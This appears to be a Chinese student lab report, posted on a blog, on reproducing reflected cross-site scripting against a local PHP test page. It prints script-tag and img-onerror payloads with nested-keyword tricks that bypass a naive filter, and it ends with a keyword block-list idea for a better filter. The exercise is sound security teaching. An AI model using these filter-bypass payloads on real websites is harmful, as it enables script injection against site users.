题目
复现课本实验三,通过img和script两类方式实现跨站脚本攻击,撰写实验报告,有能力者,可以自己撰写更安全的过滤程序
解答
xss_test.php
<!DOCTYPE html> |
script方法
查看网页源码
输入123
输入<script> alert('123');</script>
猜测源代码中有替换script
功能的代码,htmlspecialchars
可以实现预定义字符的转换
输入<scrscriptipt>alert('123');</scriscriptpt>
显示<script> alert(\'123\');</script>
用">
替换高亮部分,是<input 闭合
输入"> <scriscriptpt>alert();</scscriptript>
攻击成功(没有关闭双引号转义,攻击依然成功)
img方法
==<img src=ops! onerror=”alert(‘XSS’)”>==
<img>标签是用来定义HTML中的图像,src一般是图像的来源,而onerror事件会在文档或图像加载过程中发生错误是被触发。所以上面这个攻击脚本的逻辑是,当img加载一个错误的图像来源ops!时,回触发onerror事件,从而执行alert函数
在phpnow/php/php-apache2handler.ini中修改查找到的第二个magic_quotes_gpc=Off,关掉双引号转义
输入"><img srsrcc=ops! oonnerror="alert()">
攻击成功
更安全的过滤程序
循环检测输入语句中是否有scripts
,on
,src
的关键字
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.